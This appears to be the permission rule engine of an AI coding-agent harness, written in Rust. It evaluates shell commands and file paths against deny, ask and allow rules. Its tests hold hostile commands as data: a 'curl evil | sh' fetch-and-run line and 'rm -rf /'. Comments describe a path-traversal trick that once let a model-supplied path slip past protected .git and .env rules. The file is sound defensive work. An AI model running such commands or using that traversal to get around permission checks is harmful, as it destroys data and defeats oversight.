supercode_harness/permissions/rules.rs
1//! P5-1 (COMPOSABLE-HARNESS-DESIGN.md §2 module 11, §2.2 conflict C5, §5.3
2//! risk 1): the rule engine. **ONE engine, ONE evaluation order** — deny →
3//! ask → allow, FIRST-MATCH within that fixed tier priority (the C5
4//! decision: "the engine evaluates deny→ask→allow first-match (CC); OC-style
5//! [last-match] sets are translated at preset-import time" —
6//! `crate::permissions::translate` is that translator). This module never
7//! implements last-match semantics itself.
8//!
9//! **Fail-closed is the law.** [`evaluate_command`] can return `Allow` ONLY
10//! when every extracted sub-command (a) parsed cleanly, (b) is not
11//! [`crate::permissions::canon::CanonSubcommand::opaque`], and (c) either
12//! matches an explicit `allow` rule or the caller's `default` was itself
13//! `Allow`. Any doubt anywhere in that chain resolves to at least `Ask` —
14//! see the doc comments on each branch below for exactly where.
15
16use super::canon::{self, CanonResult};
17use crate::config::glob_match;
18
19/// The three-way outcome the engine can reach for a tool call. Ordered by
20/// strictness for [`Decision::stricter`] (`Deny` strictest, `Allow` loosest)
21/// — NOT by numeric severity in the tier-priority sense (which is a fixed
22/// deny→ask→allow scan order, not a totally-ordered scale); the ordering
23/// here exists purely to fold multiple sub-command decisions down to "the
24/// single worst one wins", the compound-safety invariant D-3/risk-1 demands.
25#[derive(Debug, Clone, Copy, PartialEq, Eq)]
26pub enum Decision {
27 /// Refuse outright. A hard floor — never bypassed by an approval policy
28 /// or a cached "approve for session" grant (mirrors
29 /// `Config::tool_deny_patterns`' existing precedent, config.rs).
30 Deny,
31 /// Requires approval (interactive prompt, or a non-interactive
32 /// [`super::approval::PermissionsApprovalHandler`]).
33 Ask,
34 /// Proceed without prompting.
35 Allow,
36}
37
38impl Decision {
39 /// The stricter (lower-trust) of two decisions: `Deny` beats `Ask` beats
40 /// `Allow`. Used to fold a compound command's per-sub-command decisions
41 /// into one (§5.3 risk 1: "a compound where ANY sub-command matches a
42 /// deny rule → the whole command is denied" — generalized here to "the
43 /// whole command is AT LEAST as strict as its strictest sub-command").
44 pub fn stricter(self, other: Decision) -> Decision {
45 use Decision::*;
46 match (self, other) {
47 (Deny, _) | (_, Deny) => Deny,
48 (Ask, _) | (_, Ask) => Ask,
49 (Allow, Allow) => Allow,
50 }
51 }
52}
53
54/// A first-match deny→ask→allow rule set (§2 module 11, C5). Each list holds
55/// pattern strings in one of two forms:
56///
57/// - `"toolname"` / `"toolname*"` (a bare glob, `crate::config::glob_match`
58/// syntax) — matches by TOOL NAME only, e.g. `"tools_question"`, `"bash*"`.
59/// - `"toolname(cmdglob)"` — matches tool name (itself a glob) AND the
60/// canonicalized command/path text (also a glob) against
61/// [`RuleSet::evaluate`]'s `subject` argument, e.g. `"bash(rm -rf*)"`,
62/// `"read(*.env)"`, `"write(.git/**)"`. The `read(...)`/`write(...)`
63/// pseudo-tool names are how path rules (module 11's "read/write path
64/// rules") and protected paths (module 13, via
65/// `crate::permissions::protected_path_rules`) both reuse this one engine
66/// instead of inventing a parallel path-matching mechanism.
67/// - `"*"` — matches everything (any tool, any subject).
68#[derive(Debug, Clone, Default, PartialEq, Eq)]
69pub struct RuleSet {
70 /// Hard floor — checked first; a match here can never be overridden.
71 pub deny: Vec<String>,
72 /// Checked second.
73 pub ask: Vec<String>,
74 /// Checked last.
75 pub allow: Vec<String>,
76}
77
78impl RuleSet {
79 /// Whether this rule set has no rules in any tier (a no-op engine —
80 /// every decision falls through to the caller's default).
81 pub fn is_empty(&self) -> bool {
82 self.deny.is_empty() && self.ask.is_empty() && self.allow.is_empty()
83 }
84
85 /// deny→ask→allow first-match, generically, against `tool` +
86 /// `subject` (the canonical command text, a resolved path, or `None`
87 /// for a tool call this rule set has no richer subject for — see
88 /// `rule_matches`'s doc comment on why a `None` subject only matches
89 /// bare tool-name-glob rules, never a `tool(pattern)` rule). Returns
90 /// `None` when nothing in any tier matches — the caller decides the
91 /// fallback (see [`evaluate_command`]/[`evaluate_path`]).
92 pub fn evaluate(&self, tool: &str, subject: Option<&str>) -> Option<Decision> {
93 if self.deny.iter().any(|p| rule_matches(p, tool, subject)) {
94 return Some(Decision::Deny);
95 }
96 if self.ask.iter().any(|p| rule_matches(p, tool, subject)) {
97 return Some(Decision::Ask);
98 }
99 if self.allow.iter().any(|p| rule_matches(p, tool, subject)) {
100 return Some(Decision::Allow);
101 }
102 None
103 }
104}
105
106/// Does `pattern` match `(tool, subject)`? See [`RuleSet`]'s doc comment for
107/// the two pattern shapes. A `tool(cmdglob)` pattern with `subject == None`
108/// never matches — a rule that names a command/path constraint cannot be
109/// satisfied by a tool call this engine has no command/path text for
110/// (conservative: such a rule simply doesn't apply, it does not silently
111/// match everything).
112fn rule_matches(pattern: &str, tool: &str, subject: Option<&str>) -> bool {
113 if pattern == "*" {
114 return true;
115 }
116 if let Some(open) = pattern.find('(') {
117 if let Some(cmd_pat) = pattern.strip_suffix(')').and_then(|p| p.get(open + 1..)) {
118 let tool_pat = &pattern[..open];
119 if !glob_match(tool_pat, tool) {
120 return false;
121 }
122 return match subject {
123 Some(s) => glob_match(cmd_pat, s),
124 None => false,
125 };
126 }
127 }
128 glob_match(pattern, tool)
129}
130
131/// Evaluate a (possibly compound) shell command against `rules`, folding
132/// every extracted sub-command's decision down to the single strictest one
133/// (§5.3 risk 1's compound-safety invariant). `tool` is the calling tool's
134/// name (`"bash"`, `"shell"`, …) — sub-command patterns match as
135/// `tool(cmdglob)` against `tool`, e.g. a rule written `"bash(rm -rf*)"`
136/// applies to every sub-command of a `bash` call, not to a `shell` call.
137///
138/// `default` is the decision to use for a sub-command that parsed cleanly
139/// but matched NO rule in any tier — the caller supplies this (typically
140/// derived from `ApprovalPolicy`, see `crate::agent`'s gate) since "no rule
141/// says anything about this command" is a policy question, not something
142/// this engine decides on its own. `default` is never consulted for a
143/// sub-command the canonicalizer could not parse, or one it marked opaque —
144/// those always contribute at least `Decision::Ask` regardless of `default`
145/// (fail-closed: an `ApprovalPolicy::Never`-derived `Allow` default must NOT
146/// let an unparseable or opaque command slip through silently).
147pub fn evaluate_command(
148 rules: &RuleSet,
149 tool: &str,
150 raw_command: &str,
151 default: Decision,
152) -> Decision {
153 match canon::canonicalize(raw_command) {
154 // Fail-closed: at least `Ask`, regardless of `default` — an
155 // `ApprovalPolicy::Never`-derived `Allow` default must not let an
156 // unparseable command slip through silently.
157 CanonResult::Unparseable(_) => Decision::Ask.stricter(default),
158 CanonResult::Ok(subs) => {
159 if subs.is_empty() {
160 // Nothing to evaluate (blank command) — the caller's
161 // default stands unmodified; there is no sub-command to
162 // force a stricter floor.
163 return default;
164 }
165 let mut worst = Decision::Allow;
166 for sub in &subs {
167 let text = sub.canonical_text();
168 let d = rules.evaluate(tool, Some(&text)).unwrap_or(default);
169 let d = if sub.opaque {
170 d.stricter(Decision::Ask)
171 } else {
172 d
173 };
174 // F4 (Fable-5 adversarial review): `protected_paths` must
175 // reach the bash write surface too, not just file-tool
176 // calls — check every statically-tractable write/read
177 // target this sub-command carries (a direct shell redirect,
178 // AND a known argv-writer like `tee`/`dd of=`) against the
179 // `write(...)`/`read(...)` protected-path rules folded into
180 // `rules` (see `crate::agent`'s gate,
181 // `protected_path_deny_rules`). See this crate's
182 // permissions module doc for what this covers vs. what is
183 // deferred to `permissions.sandbox`.
184 let d = d
185 .stricter(fold_target_decisions(
186 rules,
187 "write",
188 &sub.write_redirect_targets,
189 ))
190 .stricter(fold_target_decisions(
191 rules,
192 "write",
193 &canon::known_writer_targets(&sub.argv),
194 ))
195 .stricter(fold_target_decisions(
196 rules,
197 "read",
198 &sub.read_redirect_targets,
199 ));
200 worst = worst.stricter(d);
201 }
202 worst
203 }
204 }
205}
206
207/// F4: fold a list of write/read redirect or known-argv-writer targets
208/// (`pseudo_tool` is `"write"` or `"read"`, matching
209/// [`protected_path_deny_rules`]'s pattern shape) down to the single
210/// strictest [`Decision`] any of them triggers. A target this
211/// canonicalizer can't statically prove is a real path
212/// (`canon::is_concrete_path_text` — e.g. it still contains `$VAR`/`` `cmd`
213/// ``) contributes at least `Ask`, fail-closed, rather than silently
214/// matching nothing and falling through to `Allow`. A target that IS
215/// concrete but matches no rule contributes `Allow` (the neutral case —
216/// this fold only ever ADDS a stricter floor on top of the sub-command's
217/// own tool-level decision, it never loosens it or duplicates `default`).
218fn fold_target_decisions(rules: &RuleSet, pseudo_tool: &str, targets: &[String]) -> Decision {
219 let mut d = Decision::Allow;
220 for t in targets {
221 if !canon::is_concrete_path_text(t) {
222 d = d.stricter(Decision::Ask);
223 continue;
224 }
225 d = d.stricter(
226 rules
227 .evaluate(pseudo_tool, Some(t))
228 .unwrap_or(Decision::Allow),
229 );
230 }
231 d
232}
233
234/// Evaluate a single resolved path against `rules`, as either a `"read"` or
235/// `"write"` pseudo-tool (module 11's "path rules": read/write globs — see
236/// [`RuleSet`]'s doc comment). Falls back to `default` when nothing matches.
237///
238/// SECURITY (CRITICAL fix, guarantor audit): this function does NO
239/// normalization, canonicalization, or symlink resolution of `path` — it is
240/// a pure glob-match against whatever string it is handed. A caller that
241/// feeds it a raw, unvalidated model-supplied path argument directly is
242/// vulnerable to a traversal bypass: `write_file path="x/../.git/config"`
243/// does not literally glob-match a `.git/**` protected-path rule as a raw
244/// string, even though it resolves right back onto the real `.git/config`.
245/// **Any caller evaluating a model-supplied tool `path` argument against
246/// `rules` MUST go through [`evaluate_path_safe`] instead**, which resolves
247/// `path` (lexically AND symlink-following) against the project root before
248/// calling this function — never call `evaluate_path` directly on untrusted
249/// input. This function itself remains a simple, pure, single-subject
250/// matcher (used internally, multiple times, by `evaluate_path_safe`) —
251/// callers that already have a KNOWN-safe subject (e.g. one of
252/// `evaluate_path_safe`'s own resolved forms, or a test's literal clean
253/// path) may still call it directly.
254pub fn evaluate_path(rules: &RuleSet, kind: PathKind, path: &str, default: Decision) -> Decision {
255 let pseudo_tool = match kind {
256 PathKind::Read => "read",
257 PathKind::Write => "write",
258 };
259 rules.evaluate(pseudo_tool, Some(path)).unwrap_or(default)
260}
261
262/// SECURITY (CRITICAL fix, guarantor audit, traced to this file's former
263/// `evaluate_path` doc comment claiming "no canonicalization ... is
264/// involved here ... no unparseable case to fail closed on" — the flawed
265/// assumption that let a traversal payload bypass `protected_paths`): the
266/// safe entry point for evaluating a RAW, model-supplied `path` tool
267/// argument (relative or absolute, exactly as it arrives in `args["path"]`)
268/// as a `"read"`/`"write"` pseudo-tool subject. Resolves `raw_path` against
269/// `root` through `crate::safe_path::resolve_for_matching` — the SAME dual
270/// lexical+symlink-resolved check `crate::checkpoint`'s P5-9 fix uses — and
271/// folds [`evaluate_path`] against the RAW subject, the lexically-normalized
272/// project-relative form, AND the symlink-resolved project-relative form
273/// down to the single strictest [`Decision`] (ties broken toward stricter,
274/// via [`Decision::stricter`]), so a rule can never be satisfied by
275/// matching only one of these three views.
276///
277/// This is what closes the CRITICAL bug: `write_file
278/// path="x/../.git/config"` with `protected_paths=[".git/**"]` — the raw
279/// subject `"x/../.git/config"` does not match, but the resolved subject
280/// `".git/config"` does, so the fold still lands on `Decision::Deny`.
281///
282/// FAIL-CLOSED: if `root`/`raw_path` cannot be proven safe (a resolution
283/// error, or `raw_path` lexically looks contained but symlink-resolves
284/// OUTSIDE `root` — see `crate::safe_path::PathForMatching::Unsafe`), the
285/// result is escalated to at least [`Decision::Deny`], never silently
286/// falling through to `default`. A path that legitimately resolves outside
287/// `root` entirely (e.g. an absolute write elsewhere under
288/// `SandboxPolicy::DangerFullAccess`) is NOT penalized for that alone — only
289/// the raw-subject match applies to it, exactly as before this fix (no
290/// over-block).
291pub fn evaluate_path_safe(
292 rules: &RuleSet,
293 kind: PathKind,
294 root: &std::path::Path,
295 raw_path: &str,
296 default: Decision,
297) -> Decision {
298 let pseudo_tool = match kind {
299 PathKind::Read => "read",
300 PathKind::Write => "write",
301 };
302 evaluate_path_subject_safe(rules, pseudo_tool, root, raw_path, default)
303}
304
305/// Like [`evaluate_path_safe`], but for an arbitrary `tool` name subject
306/// instead of the `read`/`write` pseudo-tool — e.g. a rule authored against
307/// the REAL tool name with a path subject (design §4.4's `"read_file(*.env)"`
308/// syntax, or an `apply_patch`-targeted rule). [`evaluate_path_safe`] is a
309/// thin wrapper over this for the pseudo-tool case; callers that need BOTH
310/// (the permissions gate always does — see `crate::agent`'s
311/// `permissions_gate_denial_impl`) call this function a second time with
312/// `tool` set to the real tool name and fold the two results together.
313pub fn evaluate_path_subject_safe(
314 rules: &RuleSet,
315 tool: &str,
316 root: &std::path::Path,
317 raw_path: &str,
318 default: Decision,
319) -> Decision {
320 let mut decision = rules.evaluate(tool, Some(raw_path)).unwrap_or(default);
321 match crate::safe_path::resolve_for_matching(root, raw_path) {
322 crate::safe_path::PathForMatching::Inside {
323 lexical_rel,
324 resolved_rel,
325 } => {
326 decision =
327 decision.stricter(rules.evaluate(tool, Some(&lexical_rel)).unwrap_or(default));
328 if resolved_rel != lexical_rel {
329 decision =
330 decision.stricter(rules.evaluate(tool, Some(&resolved_rel)).unwrap_or(default));
331 }
332 }
333 crate::safe_path::PathForMatching::Outside => {
334 // No root-relative protected-floor pattern can apply to a path
335 // that resolves entirely outside `root` — the raw-subject match
336 // above already covers any rule authored against an absolute
337 // path. Not itself hostile (no over-block).
338 }
339 crate::safe_path::PathForMatching::Unsafe(_reason) => {
340 // FAIL CLOSED: could not prove this path safe (resolution
341 // error, or a symlink escape out of `root`) — never fall
342 // through to `default`/`Allow`.
343 decision = decision.stricter(Decision::Deny);
344 }
345 }
346 decision
347}
348
349/// Which access [`evaluate_path`] is checking — matches module 11's
350/// `read(...)`/`write(...)` pseudo-tool rule pattern names.
351#[derive(Debug, Clone, Copy, PartialEq, Eq)]
352pub enum PathKind {
353 /// A read access (`read_file`, `view_image`, …).
354 Read,
355 /// A write access (`write_file`, `edit_file`, …).
356 Write,
357}
358
359/// Module 13 (`permissions.protected_paths`): build the `read(...)` +
360/// `write(...)` deny rules a protected-paths glob list expands to — a
361/// protected path is unconditionally denied for BOTH read and write, unlike
362/// an ordinary rule (this is the "never auto-approved" floor cc§4 documents
363/// for `.git/**`/`.env*`/etc, not an ordinary ask/allow-able rule). Callers
364/// fold the result into a [`RuleSet`]'s `deny` list (see
365/// `crate::configfile::materialize_config`), which — because `deny` is
366/// always checked first, unconditionally, with no override — makes a
367/// protected path exactly as hard a floor as `Config::tool_deny_patterns`
368/// already is (config.rs).
369pub fn protected_path_deny_rules(paths: &[String]) -> Vec<String> {
370 let mut out = Vec::with_capacity(paths.len() * 2);
371 for p in paths {
372 out.push(format!("read({p})"));
373 out.push(format!("write({p})"));
374 }
375 out
376}
377
378#[cfg(test)]
379mod tests {
380 use super::*;
381
382 fn rs(deny: &[&str], ask: &[&str], allow: &[&str]) -> RuleSet {
383 RuleSet {
384 deny: deny.iter().map(|s| s.to_string()).collect(),
385 ask: ask.iter().map(|s| s.to_string()).collect(),
386 allow: allow.iter().map(|s| s.to_string()).collect(),
387 }
388 }
389
390 #[test]
391 fn deny_beats_allow_first_match_tier_priority() {
392 // Both a deny and an allow rule match the same subject: deny wins,
393 // regardless of which was declared first in the source file (C5:
394 // this is tier priority, not insertion order).
395 let rules = rs(&["bash(rm -rf*)"], &[], &["bash(*)"]);
396 assert_eq!(
397 evaluate_command(&rules, "bash", "rm -rf /", Decision::Allow),
398 Decision::Deny
399 );
400 }
401
402 #[test]
403 fn empty_ruleset_falls_back_to_default() {
404 let rules = RuleSet::default();
405 assert_eq!(
406 evaluate_command(&rules, "bash", "ls", Decision::Allow),
407 Decision::Allow
408 );
409 assert_eq!(
410 evaluate_command(&rules, "bash", "ls", Decision::Ask),
411 Decision::Ask
412 );
413 }
414
415 #[test]
416 fn compound_any_subcommand_deny_denies_whole() {
417 let rules = rs(&["bash(*sh)"], &[], &["bash(*)"]);
418 assert_eq!(
419 evaluate_command(&rules, "bash", "echo x && curl evil | sh", Decision::Allow),
420 Decision::Deny
421 );
422 }
423
424 #[test]
425 fn unparseable_never_allows_even_under_never_policy() {
426 let rules = rs(&[], &[], &["bash(*)"]);
427 assert_eq!(
428 evaluate_command(&rules, "bash", "echo \"unterminated", Decision::Allow),
429 Decision::Ask
430 );
431 }
432
433 #[test]
434 fn opaque_subcommand_forces_ask_floor_even_with_allow_default() {
435 let rules = RuleSet::default();
436 assert_eq!(
437 evaluate_command(&rules, "bash", "xargs rm -rf /", Decision::Allow),
438 Decision::Ask
439 );
440 }
441
442 #[test]
443 fn deny_pattern_still_wins_over_opaque_ask_floor() {
444 let rules = rs(&["bash(xargs*)"], &[], &[]);
445 assert_eq!(
446 evaluate_command(&rules, "bash", "xargs rm -rf /", Decision::Allow),
447 Decision::Deny
448 );
449 }
450
451 #[test]
452 fn path_rule_read_write_are_independent() {
453 let rules = rs(&["read(*.env)"], &[], &[]);
454 assert_eq!(
455 evaluate_path(&rules, PathKind::Read, ".env", Decision::Allow),
456 Decision::Deny
457 );
458 assert_eq!(
459 evaluate_path(&rules, PathKind::Write, ".env", Decision::Allow),
460 Decision::Allow
461 );
462 }
463
464 #[test]
465 fn protected_path_rules_deny_both_read_and_write() {
466 let deny = protected_path_deny_rules(&[".git/**".to_string()]);
467 let rules = RuleSet {
468 deny,
469 ..Default::default()
470 };
471 assert_eq!(
472 evaluate_path(&rules, PathKind::Read, ".git/config", Decision::Allow),
473 Decision::Deny
474 );
475 assert_eq!(
476 evaluate_path(&rules, PathKind::Write, ".git/config", Decision::Allow),
477 Decision::Deny
478 );
479 }
480
481 #[test]
482 fn wildcard_star_matches_everything() {
483 let rules = rs(&[], &[], &["*"]);
484 assert_eq!(
485 evaluate_command(&rules, "anything", "whatever", Decision::Ask),
486 Decision::Allow
487 );
488 }
489
490 #[test]
491 fn subject_none_never_matches_a_command_pattern() {
492 let rules = rs(&[], &[], &["bash(*)"]);
493 assert_eq!(rules.evaluate("bash", None), None);
494 }
495
496 #[test]
497 fn decision_stricter_ordering() {
498 assert_eq!(Decision::Deny.stricter(Decision::Allow), Decision::Deny);
499 assert_eq!(Decision::Ask.stricter(Decision::Allow), Decision::Ask);
500 assert_eq!(Decision::Allow.stricter(Decision::Allow), Decision::Allow);
501 assert_eq!(Decision::Deny.stricter(Decision::Ask), Decision::Deny);
502 }
503}